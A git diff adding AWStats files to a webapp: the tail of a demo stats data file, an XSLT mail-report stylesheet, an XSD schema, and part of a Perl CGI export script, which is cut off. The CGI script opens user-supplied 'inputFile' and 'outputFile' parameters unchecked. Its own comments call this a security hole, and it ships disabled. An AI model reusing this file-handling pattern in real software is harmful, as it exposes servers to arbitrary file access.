+<tr><td>POS_ERRORS</td><td>15196 </td></tr> +<tr><td>POS_CLUSTER</td><td>8315 </td></tr> +<tr><td>POS_SIDER_404</td><td>15504 </td></tr> +<tr><td>POS_EXTRA_1</td><td>15863 </td></tr> +<tr><td>POS_EXTRA_2</td><td>16257 </td></tr> +</table><nu>END_MAP +</nu></section> + +<section id='general'><comment> +# LastLine = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value +# FirstTime = Date of first visit for history file +# LastTime = Date of last visit for history file +# LastUpdate = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped +# TotalVisits = Number of visits +# TotalUnique = Number of unique visitors +# MonthHostsKnown = Number of hosts known +# MonthHostsUnKnown = Number of hosts unknown +</comment><nu> +BEGIN_GENERAL</nu><recnb>8</recnb><table> +<tr><td>LastLine</td><td>20010101170000 84 10496 69181820316</td></tr> +<tr><td>FirstTime</td><td>20010101000010</td></tr> +<tr><td>LastTime</td><td>20010101163000</td></tr> +<tr><td>LastUpdate</td><td>20070712233159 84 0 45 38 1</td></tr> +<tr><td>TotalVisits</td><td>5 </td></tr> +<tr><td>TotalUnique</td><td>4 </td></tr> +<tr><td>MonthHostsKnown</td><td>6 </td></tr> +<tr><td>MonthHostsUnknown</td><td>0 </td></tr> +</table><nu> +END_GENERAL +</nu></section> + +<section id='misc'><comment> +# Misc ID - Pages - Hits - Bandwidth +</comment><nu> +BEGIN_MISC</nu><recnb>10</recnb><table> +<tr><td>QuickTimeSupport</td><td>0</td><td>0</td><td>0</td></tr> +<tr><td>JavaEnabled</td><td>0</td><td>1</td><td>0</td></tr> +<tr><td>JavascriptDisabled</td><td>0</td><td>0</td><td>0</td></tr> +<tr><td>PDFSupport</td><td>0</td><td>1</td><td>0</td></tr> +<tr><td>WindowsMediaPlayerSupport</td><td>0</td><td>1</td><td>0</td></tr> +<tr><td>AddToFavourites</td><td>0</td><td>1</td><td>0</td></tr> +<tr><td>RealPlayerSupport</td><td>0</td><td>1</td><td>0</td></tr> +<tr><td>TotalMisc</td><td>0</td><td>1</td><td>0</td></tr> +<tr><td>DirectorSupport</td><td>0</td><td>0</td><td>0</td></tr> +<tr><td>FlashSupport</td><td>0</td><td>1</td><td>0</td></tr> +</table><nu>END_MISC +</nu></section> + +<section id='time'><comment> +# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth +</comment><nu> +BEGIN_TIME</nu><recnb>24</recnb><table> +<tr><td>0</td><td>4</td><td>6</td><td>42054</td><td>0</td><td>0</td><td>0</td></tr> +<tr><td>1</td><td>0</td><td>0</td><td>0</td><td>0</td><td>0</td><td>0</td></tr> +<tr><td>2</td><td>0</td><td>0</td><td>0</td><td>0</td><td>0</td><td>0</td></tr> +<tr><td>3</td><td>0</td><td>0</td><td>0</td><td>0</td><td>0</td><td>0</td></tr> +<tr><td>4</td><td>0</td><td>0</td><td>0</td><td>0</td><td>0</td><td>0</td></tr> +<tr><td>5</td><td>0</td><td>0</td><td>0</td><td>0</td><td>0</td><td>0</td></tr> +<tr><td>6</td><td>0</td><td>0</td><td>0</td><td>0</td><td>0</td><td>0</td></tr> +<tr><td>7</td><td>0</td><td>0</td><td>0</td><td>0</td><td>0</td><td>0</td></tr> +<tr><td>8</td><td>0</td><td>0</td><td>0</td><td>0</td><td>0</td><td>0</td></tr> +<tr><td>9</td><td>0</td><td>0</td><td>0</td><td>0</td><td>0</td><td>0</td></tr> +<tr><td>10</td><td>0</td><td>0</td><td>0</td><td>0</td><td>0</td><td>0</td></tr> +<tr><td>11</td><td>0</td><td>0</td><td>0</td><td>0</td><td>0</td><td>0</td></tr> +<tr><td>12</td><td>8</td><td>16</td><td>108122</td><td>3</td><td>3</td><td>7607</td></tr> +<tr><td>13</td><td>2</td><td>2</td><td>14018</td><td>1</td><td>6</td><td>8829</td></tr> +<tr><td>14</td><td>0</td><td>0</td><td>0</td><td>2</td><td>2</td><td>0</td></tr> +<tr><td>15</td><td>0</td><td>0</td><td>0</td><td>1</td><td>1</td><td>299</td></tr> +<tr><td>16</td><td>6</td><td>6</td><td>422856</td><td>0</td><td>0</td><td>0</td></tr> +<tr><td>17</td><td>0</td><td>0</td><td>0</td><td>1</td><td>1</td><td>70476</td></tr> +<tr><td>18</td><td>0</td><td>0</td><td>0</td><td>0</td><td>0</td><td>0</td></tr> +<tr><td>19</td><td>0</td><td>0</td><td>0</td><td>0</td><td>0</td><td>0</td></tr> +<tr><td>20</td><td>0</td><td>0</td><td>0</td><td>0</td><td>0</td><td>0</td></tr> +<tr><td>21</td><td>0</td><td>0</td><td>0</td><td>0</td><td>0</td><td>0</td></tr> +<tr><td>22</td><td>0</td><td>0</td><td>0</td><td>0</td><td>0</td><td>0</td></tr> +<tr><td>23</td><td>0</td><td>0</td><td>0</td><td>0</td><td>0</td><td>0</td></tr> +</table><nu>END_TIME +</nu></section> + +<section id='visitor'><sortfor>25</sortfor><comment> +# Host - Pages - Hits - Bandwidth - Last visit date - [Start date of last visit] - [Last page of last visit] +# [Start date of last visit] and [Last page of last visit] are saved only if session is not finished +# The 25 first Hits must be first (order not required for others) +</comment><nu> +BEGIN_VISITOR</nu><recnb>6</recnb><table> +<tr><td>camarche</td><td>8</td><td>14</td><td>94104</td><td>20010101120025</td></tr> +<tr><td>alamentin-104-1-77-10.w80-8.abo.wanadoo.fr</td><td>6</td><td>6</td><td>422856</td><td>20010101163000</td><td>20010101160000</td><td>/page1.html</td></tr> +<tr><td>alamentin-104-1-77-3.w80-8.abo.wanadoo.fr</td><td>4</td><td>6</td><td>42054</td><td>20010101120125</td></tr> +<tr><td>camarchesuperbienmeme</td><td>2</td><td>2</td><td>14018</td><td>20010101130100</td></tr> +<tr><td>camarchetresbienmeme</td><td>0</td><td>1</td><td>7009</td><td></td></tr> +<tr><td>alamentin-104-1-77-2.w80-8.abo.wanadoo.fr</td><td>0</td><td>1</td><td>7009</td><td></td></tr> +</table><nu>END_VISITOR +</nu></section> + +<section id='day'><comment> +# Date - Pages - Hits - Bandwidth - Visits +</comment><nu> +BEGIN_DAY</nu><recnb>1</recnb><table> +<tr><td>20010101</td><td>20</td><td>30</td><td>587050</td><td>5</td></tr> +</table><nu>END_DAY +</nu></section> + +<section id='domain'><sortfor>25</sortfor><comment> +# Domain - Pages - Hits - Bandwidth +# The 25 first Pages must be first (order not required for others) +</comment><nu> +BEGIN_DOMAIN</nu><recnb>2</recnb><table> +<tr><td>fr</td><td>10</td><td>13</td><td>471919</td></tr> +<tr><td>ip</td><td>10</td><td>17</td><td>115131</td></tr> +</table><nu>END_DOMAIN +</nu></section> + +<section id='cluster'><comment> +# Cluster ID - Pages - Hits - Bandwidth +</comment><nu> +BEGIN_CLUSTER</nu><recnb>0</recnb><table> +</table><nu>END_CLUSTER +</nu></section> + +<section id='login'><sortfor>5</sortfor><comment> +# Login - Pages - Hits - Bandwidth - Last visit +# The 5 first Pages must be first (order not required for others) +</comment><nu> +BEGIN_LOGIN</nu><recnb>1</recnb><table> +<tr><td>john_begood</td><td>2</td><td>2</td><td>14018</td><td>20010101130100</td></tr> +</table><nu>END_LOGIN +</nu></section> + +<section id='robot'><sortfor>25</sortfor><comment> +# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt +# The 25 first Hits must be first (order not required for others) +</comment><nu> +BEGIN_ROBOT</nu><recnb>3</recnb><table> +<tr><td>up\.browser</td><td>6</td><td>8829</td><td>20010101130000</td><td>0</td></tr> +<tr><td>googlebot</td><td>2</td><td>7308</td><td>20010101120205</td><td>1</td></tr> +<tr><td>unknown</td><td>1</td><td>299</td><td>20010101120200</td><td>1</td></tr> +</table><nu>END_ROBOT +</nu></section> + +<section id='worms'><sortfor>5</sortfor><comment> +# Worm ID - Hits - Bandwidth - Last visit +# The 5 first Hits must be first (order not required for others) +</comment><nu> +BEGIN_WORMS</nu><recnb>1</recnb><table> +<tr><td>code_red</td><td>1</td><td>299</td><td>20010101150000</td></tr> +</table><nu>END_WORMS +</nu></section> + +<section id='emailsender'><sortfor>20</sortfor><comment> +# EMail - Hits - Bandwidth - Last visit +# The 20 first Hits must be first (order not required for others) +</comment><nu> +BEGIN_EMAILSENDER</nu><recnb>0</recnb><table> +</table><nu>END_EMAILSENDER +</nu></section> + +<section id='emailreceiver'><sortfor>20</sortfor><comment> +# EMail - Hits - Bandwidth - Last visit +# The 20 first hits must be first (order not required for others) +</comment><nu> +BEGIN_EMAILRECEIVER</nu><recnb>0</recnb><table> +</table><nu>END_EMAILRECEIVER +</nu></section> + +<section id='session'><comment> +# Session range - Number of visits +</comment><nu> +BEGIN_SESSION</nu><recnb>1</recnb><table> +<tr><td>0s-30s</td><td>4</td></tr> +</table><nu>END_SESSION +</nu></section> + +<section id='sider'><sortfor>25</sortfor><comment> +# URL - Pages - Bandwidth - Entry - Exit +# The 25 first Pages must be first (order not required for others) +</comment><nu> +BEGIN_SIDER</nu><recnb>7</recnb><table> +<tr><td>/</td><td>8</td><td>373407</td><td>4</td><td>0</td></tr> +<tr><td>/page1.html</td><td>4</td><td>91503</td><td>0</td><td>0</td></tr> +<tr><td>/page3</td><td>3</td><td>21027</td><td>0</td><td>3</td></tr> +<tr><td>/page2.cgi</td><td>2</td><td>14018</td><td>0</td><td>0</td></tr> +<tr><td>/cgi-bin/order.cgi;family%3df&type%3dt&titi%3di</td><td>1</td><td>7009</td><td>1</td><td>0</td></tr> +<tr><td>/page2.cgi?x%3da&family%3da&y%3db&familx%3dx</td><td>1</td><td>7009</td><td>0</td><td>0</td></tr> +<tr><td>/do/Show</td><td>1</td><td>7009</td><td>0</td><td>1</td></tr> +</table><nu>END_SIDER +</nu></section> + +<section id='filetypes'><comment> +# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression +</comment><nu> +BEGIN_FILETYPES</nu><recnb>6</recnb><table> +<tr><td>png</td><td>3</td><td>21027</td><td>0</td><td>0</td></tr> +<tr><td>html</td><td>12</td><td>464910</td><td>0</td><td>0</td></tr> +<tr><td>js</td><td>2</td><td>9996</td><td>0</td><td>0</td></tr> +<tr><td>cgi</td><td>4</td><td>28036</td><td>0</td><td>0</td></tr> +<tr><td>Unknown</td><td>4</td><td>28036</td><td>0</td><td>0</td></tr> +<tr><td>gif</td><td>5</td><td>35045</td><td>0</td><td>0</td></tr> +</table><nu>END_FILETYPES +</nu></section> + +<section id='os'><comment> +# OS ID - Hits +</comment><nu> +BEGIN_OS</nu><recnb>6</recnb><table> +<tr><td>linuxmandr</td><td>1</td></tr> +<tr><td>macosx</td><td>1</td></tr> +<tr><td>linuxredhat</td><td>1</td></tr> +<tr><td>win95</td><td>8</td></tr> +<tr><td>win2000</td><td>18</td></tr> +<tr><td>win98</td><td>1</td></tr> +</table><nu>END_OS +</nu></section> + +<section id='browser'><comment> +# Browser ID - Hits +</comment><nu> +BEGIN_BROWSER</nu><recnb>7</recnb><table> +<tr><td>firefox1.0</td><td>6</td></tr> +<tr><td>mozilla</td><td>2</td></tr> +<tr><td>firebird</td><td>6</td></tr> +<tr><td>netscape7.1</td><td>1</td></tr> +<tr><td>msie5.5</td><td>6</td></tr> +<tr><td>opera</td><td>1</td></tr> +<tr><td>netscape4.7</td><td>8</td></tr> +</table><nu>END_BROWSER +</nu></section> + +<section id='screensize'><comment> +# Screen size - Hits +</comment><nu> +BEGIN_SCREENSIZE</nu><recnb>1</recnb><table> +<tr><td>1024x768</td><td>1</td></tr> +</table><nu>END_SCREENSIZE +</nu></section> + +<section id='unknownreferer'><comment> +# Unknown referer OS - Last visit date +</comment><nu> +BEGIN_UNKNOWNREFERER</nu><recnb>0</recnb><table> +</table><nu>END_UNKNOWNREFERER +</nu></section> + +<section id='unknownrefererbrowser'><comment> +# Unknown referer Browser - Last visit date +</comment><nu> +BEGIN_UNKNOWNREFERERBROWSER</nu><recnb>0</recnb><table> +</table><nu>END_UNKNOWNREFERERBROWSER +</nu></section> + +<section id='origin'><comment> +# Origin - Pages - Hits +</comment><nu> +BEGIN_ORIGIN</nu><recnb>6</recnb><table> +<tr><td>From0</td><td>9</td><td>19</td></tr> +<tr><td>From1</td><td>0</td><td>0</td></tr> +<tr><td>From2</td><td>1</td><td>1</td></tr> +<tr><td>From3</td><td>9</td><td>9</td></tr> +<tr><td>From4</td><td>1</td><td>1</td></tr> +<tr><td>From5</td><td>0</td><td>0</td></tr> +</table><nu>END_ORIGIN +</nu></section> + +<section id='sereferrals'><comment> +# Search engine referers ID - Pages - Hits +</comment><nu> +BEGIN_SEREFERRALS</nu><recnb>1</recnb><table> +<tr><td>a9</td><td>1</td><td>1</td></tr> +</table><nu>END_SEREFERRALS +</nu></section> + +<section id='pagerefs'><sortfor>25</sortfor><comment> +# External page referers - Pages - Hits +# The 25 first Pages must be first (order not required for others) +</comment><nu> +BEGIN_PAGEREFS</nu><recnb>5</recnb><table> +<tr><td>http://us.f109.mail.yahoo.com/ym/ShowLetter</td><td>5</td><td>5</td></tr> +<tr><td>http://www.sitereferer:81/cgi-bin/azerty.pl</td><td>1</td><td>1</td></tr> +<tr><td>http://WWW.SiteRefereR:80/cgi-bin/azerty.pl</td><td>1</td><td>1</td></tr> +<tr><td>http://www.freeweb.hu/icecat/filmek/film04.html</td><td>1</td><td>1</td></tr> +<tr><td>http://www.sitereferer/cgi-bin/search.pl</td><td>1</td><td>1</td></tr> +</table><nu>END_PAGEREFS +</nu></section> + +<section id='searchwords'><sortfor>10</sortfor><comment> +# Search keyphrases - Number of search +# The 10 first number of search must be first (order not required for others) +</comment><nu> +BEGIN_SEARCHWORDS</nu><recnb>1</recnb><table> +<tr><td>searchkeyfroma9</td><td>1</td></tr> +</table><nu>END_SEARCHWORDS +</nu></section> + +<section id='keywords'><sortfor>25</sortfor><comment> +# Search keywords - Number of search +# The 25 first number of search must be first (order not required for others) +</comment><nu> +BEGIN_KEYWORDS</nu><recnb>1</recnb><table> +<tr><td>searchkeyfroma9</td><td>1</td></tr> +</table><nu>END_KEYWORDS +</nu></section> + +<section id='errors'><comment> +# Errors - Hits - Bandwidth +</comment><nu> +BEGIN_ERRORS</nu><recnb>3</recnb><table> +<tr><td>302</td><td>1</td><td>70476</td></tr> +<tr><td>405</td><td>1</td><td>0</td></tr> +<tr><td>404</td><td>1</td><td>0</td></tr> +</table><nu>END_ERRORS +</nu></section> + +<section id='sider_404'><comment> +# URL with 404 errors - Hits - Last URL referer +</comment><nu> +BEGIN_SIDER_404</nu><recnb>1</recnb><table> +<tr><td>/404notfoundpage.html</td><td>1</td><td>http://refererto404nofoundpage/pageswithbadlink.html</td></tr> +</table><nu>END_SIDER_404 +</nu></section> + +<section id='extra_1'><sortfor>20</sortfor><comment> +# Extra key - Pages - Hits - Bandwidth - Last access +# The 20 first number of hits are first +</comment><nu> +BEGIN_EXTRA_1</nu><recnb>2</recnb><table> +<tr><td>999</td><td>1</td><td>1</td><td>0</td><td>20010101130100</td></tr> +<tr><td>998</td><td>1</td><td>1</td><td>0</td><td>20010101130000</td></tr> +</table><nu>END_EXTRA_1 +</nu></section> + +<section id='extra_2'><sortfor>20</sortfor><comment> +# Extra key - Pages - Hits - Bandwidth - Last access +# The 20 first number of hits are first +</comment><nu> +BEGIN_EXTRA_2</nu><recnb>1</recnb><table> +<tr><td>http://xxx.com/aa.html</td><td>0</td><td>1</td><td>0</td><td>20010101170000</td></tr> +</table><nu>END_EXTRA_2 +</nu></section> + + +</xml> diff --git a/src/main/webapp/monitoramento/tools/xslt/awstats.datademo2.xslt b/src/main/webapp/monitoramento/tools/xslt/awstats.datademo2.xslt new file mode 100644 index 0000000..22ce5c5 --- /dev/null +++ b/src/main/webapp/monitoramento/tools/xslt/awstats.datademo2.xslt @@ -0,0 +1,242 @@ +<?xml version="1.0" encoding="UTF-8"?> +<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:xs="http://www.w3.org/2001/XMLSchema"> + <xsl:output method="text"/> + +<!-- + This xsl parses a awstats xml "history file" and generates a small + plaintext report, nicely suited for cron and mail. some decisions have been + made regarding what to display - pages or hits, etc. You are free to tweak. + + Commissioned by LabforCulture + *pike@labforculture.org 20060708 + + usage: + mail -s stats yourboss@yoursite < xsltproc thisfile.xsl database.xml + + build for AWSTATS DATA FILE 6.5 (build 1.857) + + +--> + + <xsl:template match="/"> + + <xsl:for-each select="/xml/section[@id='general']/table/tr"> + + <xsl:text>
----------------</xsl:text> + + <xsl:for-each select="td[text()='FirstTime']"> + <xsl:text>
Period </xsl:text> + + <xsl:for-each select="./following-sibling::node()"> + <xsl:value-of select="concat(': ',substring(.,1,4),'/',substring(.,5,2),'/',substring(.,7,2))" /> + </xsl:for-each> + <xsl:for-each select="../../tr/td[text()='LastTime']/following-sibling::node()"> + <xsl:value-of select="concat(' - ',substring(.,1,4),'/',substring(.,5,2),'/',substring(.,7,2))" /> + </xsl:for-each> + </xsl:for-each> + + <xsl:for-each select="td[text()='TotalUnique']/following-sibling::node()"> + <xsl:text>
Total unique visitors : </xsl:text> + + <xsl:value-of select="." /> + </xsl:for-each> + + <xsl:for-each select="td[text()='TotalVisits']/following-sibling::node()"> + <xsl:text>
Total visits : </xsl:text> + <xsl:value-of select="." /> + </xsl:for-each> + + </xsl:for-each> + + <xsl:for-each select="/xml/section[@id='time']/table"> + + <xsl:text>
Total viewed pages : </xsl:text><xsl:value-of select="sum(tr/td[2])" /> + <xsl:text>
Total viewed hits : </xsl:text><xsl:value-of select="sum(tr/td[3])" /> + <xsl:text>
Total not viewed pages : </xsl:text><xsl:value-of select="sum(tr/td[5])" /> + <xsl:text>
Total not viewed hits : </xsl:text><xsl:value-of select="sum(tr/td[6])" /> + + </xsl:for-each> + + <xsl:for-each select="/xml/section[@id='misc']/table"> + + <xsl:for-each select="tr/td[text()='AddToFavourites']/following-sibling::node()[2]"> + <xsl:text>
Added to favourites (?) : </xsl:text> + <xsl:value-of select="." /> + </xsl:for-each> + </xsl:for-each> + + <xsl:text>
----------------</xsl:text> + + + <xsl:for-each select="/xml/section[@id='session']/table"> + <xsl:text>
Visit duration:</xsl:text> + + <xsl:for-each select="tr/td[text()='0s-30s']/following-sibling::node()"> + <xsl:text>
 0s-30s : </xsl:text> + <xsl:value-of select="." /> + </xsl:for-each> + <xsl:for-each select="tr/td[text()='30s-2mn']/following-sibling::node()"> + <xsl:text>
 30s-2mn : </xsl:text> + <xsl:value-of select="." /> + + </xsl:for-each> + <xsl:for-each select="tr/td[text()='2mn-5mn']/following-sibling::node()"> + <xsl:text>
 2mn-5mn : </xsl:text> + <xsl:value-of select="." /> + </xsl:for-each> + <xsl:for-each select="tr/td[text()='5mn-15mn']/following-sibling::node()"> + <xsl:text>
 5mn-15mn : </xsl:text> + + <xsl:value-of select="." /> + </xsl:for-each> + <xsl:for-each select="tr/td[text()='15mn-30mn']/following-sibling::node()"> + <xsl:text>
 15mn-30mn : </xsl:text> + <xsl:value-of select="." /> + </xsl:for-each> + <xsl:for-each select="tr/td[text()='30mn-1h']/following-sibling::node()"> + <xsl:text>
 30mn-1h : </xsl:text> + + <xsl:value-of select="." /> + </xsl:for-each> + <xsl:for-each select="tr/td[text()='1h+']/following-sibling::node()"> + <xsl:text>
 1h+ : </xsl:text> + <xsl:value-of select="." /> + </xsl:for-each> + + </xsl:for-each> + + <xsl:text>
----------------</xsl:text> + + + <xsl:for-each select="/xml/section[@id='domain']/table"> + + <xsl:text>
Countries top 5:</xsl:text> + <xsl:for-each select="tr"> + <xsl:sort select="td[2]" data-type="number" order="descending"/> + <xsl:if test="position()<=5"> + <xsl:text>
 </xsl:text> + <xsl:value-of select="td[1]" /> + <xsl:text> : </xsl:text> + + <xsl:value-of select="td[2]" /> + <xsl:text> pages</xsl:text> + </xsl:if> + </xsl:for-each> + + </xsl:for-each> + + <xsl:text>
----------------</xsl:text> +<!-- + awstats xml output is seriously bugged here in my version. + the first 10 rows of sider has 5 columns, the rest has 4 columns .. + the second columns content is added as plaintext inside the first column ! + + i will wait for a fix. meanwhile, the numbers outputted + here are dead wrong. + + + + <xsl:for-each select="/xml/section[@id='sider']/table"> + + + <xsl:text>
Entry pages top 10 (bugged):</xsl:text> + <xsl:for-each select="tr"> + <xsl:sort select="td[4]" data-type="number" order="descending"/> + <xsl:if test="position()<=10"> + <xsl:text>
 </xsl:text> + <xsl:value-of select="td[4]" /> + <xsl:text> : </xsl:text> + <xsl:value-of select="td[1]" /> + </xsl:if> + </xsl:for-each> + + <xsl:text>
Exit pages top 10 (bugged):</xsl:text> + <xsl:for-each select="tr[position()<=10]"> + <xsl:sort select="td[5]" data-type="number" order="descending"/> + <xsl:if test="position()<=10"> + <xsl:text>
 </xsl:text> + <xsl:value-of select="td[5]" /> + <xsl:text> : </xsl:text> + <xsl:value-of select="td[1]" /> + </xsl:if> + </xsl:for-each> + + </xsl:for-each> + +--> + + + <xsl:for-each select="/xml/section[@id='origin']/table"> + <xsl:text>
Users arrived via:</xsl:text> + <xsl:for-each select="tr"> + <xsl:sort select="td[2]" data-type="number" order="descending"/> + <xsl:if test="td[1]='From0'"> + <xsl:text>
 Typed in / from bookmarks : </xsl:text> + <xsl:value-of select="td[2]" /><xsl:text> pages</xsl:text> + + </xsl:if> + <xsl:if test="td[1]='From1'"> + <xsl:text>
 Unknown : </xsl:text> + <xsl:value-of select="td[2]" /><xsl:text> pages</xsl:text> + </xsl:if> + <xsl:if test="td[1]='From2'"> + <xsl:text>
 Linked from an Internet Search Engine : </xsl:text> + + <xsl:value-of select="td[2]" /><xsl:text> pages</xsl:text> + </xsl:if> + <xsl:if test="td[1]='From3'"> + <xsl:text>
 Linked from an external page : </xsl:text> + <xsl:value-of select="td[2]" /><xsl:text> pages</xsl:text> + </xsl:if> + + <xsl:if test="td[1]='From4'"> + <xsl:text>
 Linked from an internal page : </xsl:text> + <xsl:value-of select="td[2]" /><xsl:text> pages</xsl:text> + </xsl:if> + <xsl:if test="td[1]='From5'"> + <xsl:text>
 Linked from newsgroups : </xsl:text> + + <xsl:value-of select="td[2]" /><xsl:text> pages</xsl:text> + </xsl:if> + </xsl:for-each> + </xsl:for-each> + + <xsl:text>
----------------</xsl:text> + + <xsl:for-each select="/xml/section[@id='searchwords']/table"> + <xsl:text>
Top search phrases:</xsl:text> + <xsl:for-each select="tr[position()<=10]"> + + <xsl:text>
 </xsl:text> + <xsl:value-of select="td[1]" /> + <xsl:text> - </xsl:text> + <xsl:value-of select="td[2]" /> + <xsl:text> hits</xsl:text> + </xsl:for-each> + + </xsl:for-each> + + + <xsl:text>
----------------</xsl:text> + + <xsl:for-each select="/xml/section[@id='sereferrals']/table"> + <xsl:text>
Robots/spiders:</xsl:text> + <xsl:for-each select="tr"> + <xsl:sort select="td[3]" data-type="number" order="descending"/> + <xsl:if test="position()<=10"> + <xsl:text>
 </xsl:text> + + <xsl:value-of select="td[1]" /> + <xsl:text> - </xsl:text> + <xsl:value-of select="td[3]" /> + <xsl:text> hits</xsl:text> + </xsl:if> + </xsl:for-each> + </xsl:for-each> + + + + <xsl:text>
----------------
</xsl:text> + + </xsl:template> +</xsl:stylesheet> diff --git a/src/main/webapp/monitoramento/tools/xslt/awstats.xsd b/src/main/webapp/monitoramento/tools/xslt/awstats.xsd new file mode 100644 index 0000000..f0a195b --- /dev/null +++ b/src/main/webapp/monitoramento/tools/xslt/awstats.xsd @@ -0,0 +1,94 @@ +<?xml version="1.0" encoding="UTF-8"?> +<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" elementFormDefault="qualified"> + <xs:element name="comment" type="xs:string"/> + <xs:element name="lib" type="xs:string"/> + <xs:element name="nu" type="xs:string"/> + <xs:element name="recnb" type="xs:integer"/> + <xs:element name="section"> + <xs:complexType> + <xs:sequence> + <xs:element ref="sortfor" minOccurs="0"/> + <xs:element ref="comment"/> + <xs:element ref="nu"/> + <xs:element ref="recnb"/> + <xs:element ref="table"/> + <xs:element ref="nu"/> + </xs:sequence> + <xs:attribute name="id" use="required"> + <xs:simpleType> + <xs:restriction base="xs:NMTOKEN"> + <xs:enumeration value="browser"/> + <xs:enumeration value="cluster"/> + <xs:enumeration value="day"/> + <xs:enumeration value="domain"/> + <xs:enumeration value="emailreceiver"/> + <xs:enumeration value="emailsender"/> + <xs:enumeration value="errors"/> + <xs:enumeration value="extra_1"/> + <xs:enumeration value="filetypes"/> + <xs:enumeration value="general"/> + <xs:enumeration value="header"/> + <xs:enumeration value="keywords"/> + <xs:enumeration value="login"/> + <xs:enumeration value="misc"/> + <xs:enumeration value="origin"/> + <xs:enumeration value="os"/> + <xs:enumeration value="pagerefs"/> + <xs:enumeration value="robot"/> + <xs:enumeration value="screensize"/> + <xs:enumeration value="searchwords"/> + <xs:enumeration value="sereferrals"/> + <xs:enumeration value="session"/> + <xs:enumeration value="sider"/> + <xs:enumeration value="sider_404"/> + <xs:enumeration value="time"/> + <xs:enumeration value="unknownreferer"/> + <xs:enumeration value="unknownrefererbrowser"/> + <xs:enumeration value="visitor"/> + <xs:enumeration value="worms"/> + </xs:restriction> + </xs:simpleType> + </xs:attribute> + </xs:complexType> + </xs:element> + <xs:element name="sortfor"> + <xs:simpleType> + <xs:restriction base="xs:byte"> + <xs:enumeration value="10"/> + <xs:enumeration value="20"/> + <xs:enumeration value="5"/> + </xs:restriction> + </xs:simpleType> + </xs:element> + <xs:element name="table"> + <xs:complexType mixed="true"> + <xs:choice minOccurs="0" maxOccurs="unbounded"> + <xs:element ref="tr"/> + </xs:choice> + </xs:complexType> + </xs:element> + <xs:element name="td" type="xs:string"/> + <xs:element name="tr"> + <xs:complexType> + <xs:sequence> + <xs:element ref="td" maxOccurs="unbounded"/> + </xs:sequence> + </xs:complexType> + </xs:element> + <xs:element name="version"> + <xs:complexType> + <xs:sequence> + <xs:element ref="lib"/> + <xs:element ref="comment"/> + </xs:sequence> + </xs:complexType> + </xs:element> + <xs:element name="xml"> + <xs:complexType> + <xs:sequence> + <xs:element ref="version"/> + <xs:element ref="section" maxOccurs="unbounded"/> + </xs:sequence> + </xs:complexType> + </xs:element> +</xs:schema> \ No newline at end of file diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/awdownloadcsv.pl b/src/main/webapp/monitoramento/wwwroot/cgi-bin/awdownloadcsv.pl new file mode 100644 index 0000000..0cfa146 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/awdownloadcsv.pl @@ -0,0 +1,154 @@ +#!/usr/bin/perl -w +#------------------------------------------------------------------------------ +# Free addition to AWStats Web Log Analyzer. Used to export the contents of +# sections of the Apache server log database to CSV for use in other tools. +# Works from command line or as a CGI. +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see <http://www.gnu.org/licenses/>. +#------------------------------------------------------------------------------ +# $Revision: 1.2 $ - $Author: eldy $ - $Date: 2012/02/15 15:23:43 $ +#------------------------------------------------------------------------------ +use CGI qw(:standard); + +my $ALLOWDOWNLOAD=0; + +# Disabled by default for security reason +if (! $ALLOWDOWNLOAD) +{ + print("Error: You must first edit script to change ALLOWDOWNLOAD to 1 to allow usage of this script.\n"); + print("Reason is that enabling this script may be a security hole as it allows someone to download/view details of your awstats data files.\n"); + exit; +} + +my $q = new CGI; +my $outputFile = ""; # used to write the output to a file +my $inputFile = ""; # the fully qualified path to the input log database file +my $sectionToReport = ""; # contains the tag to search for in the database file +my $startSearchStr = "BEGIN_"; +my $endSearchStr = "END_"; +my $startPrinting = 0; # flag to indicate that the start tag has been found +my $attachFileName = ""; + +# These parameters are used to build the input file name of the awstats log database +my $baseName = ""; +my $month = ""; +my $year = ""; +my $day = ""; +my $siteConfig = ""; + +if ($q->param("outputFile")) { + if ($outputFile eq '') { $outputFile = $q->param("outputFile"); } +} + +if ($q->param("inputFile")) { + if ($inputFile eq '') { $inputFile = $q->param("inputFile"); } +} + +if ($q->param("section")) { + if ($sectionToReport eq '' ) { $sectionToReport = $q->param("section"); } +} + +if ($q->param("baseName")) { + if ($baseName eq '' ) { $baseName = $q->param("baseName"); } +} + +if ($q->param("month")) { + if ($month eq '' ) { $month = $q->param("month"); } +} + +if ($q->param("year")) { + if ($year eq '' ) { $year = $q->param("year"); } +} + +if ($q->param("day")) { $day = $q->param("day"); } + +if ($q->param("siteConfig")) { + if ($siteConfig eq '' ) { $siteConfig = $q->param("siteConfig"); } +} + +# set the attachment file name to the report section +if ($sectionToReport ne '' ) { + $attachFileName = $sectionToReport . ".csv"; +} else { + $attachFileName = "exportCSV.csv"; +} +print $q->header(-type=> "application/force-download", -attachment=>$attachFileName); + +# Build the start/end search tags +$startSearchStr = $startSearchStr . $sectionToReport; +$endSearchStr = $endSearchStr . $sectionToReport; + +if ( !$inputFile ) { $inputFile ="$baseName$month$year$day.$siteConfig.txt" }; + +open (IN, $inputFile) || die "cannot open $inputFile\n"; + +# If there's a parameter for the output, open it here +if ($outputFile ne '') { + open (OUT,">$outputFile") || die "cannot create $outputFile\n"; + flock (OUT, 2); +} +# Loop through the input file searching for the start string. When +# found, start displaying the input lines (with spaces changed +# to commas) until the end tag is found. + +# Array to store comments for printing once we hit the desired section +my $commentCount = -1; +my %commentArray; + +while (<IN>) { + chomp; + + if (/^#\s(.*-)\s/){ # search for comment lines + s/ - /,/g; # replace dashes with commas + s/#//; # get rid of the comment sign + $commentArray[++$commentCount] = $_; + } + + # put the test to end printing here to eliminate printing + # the 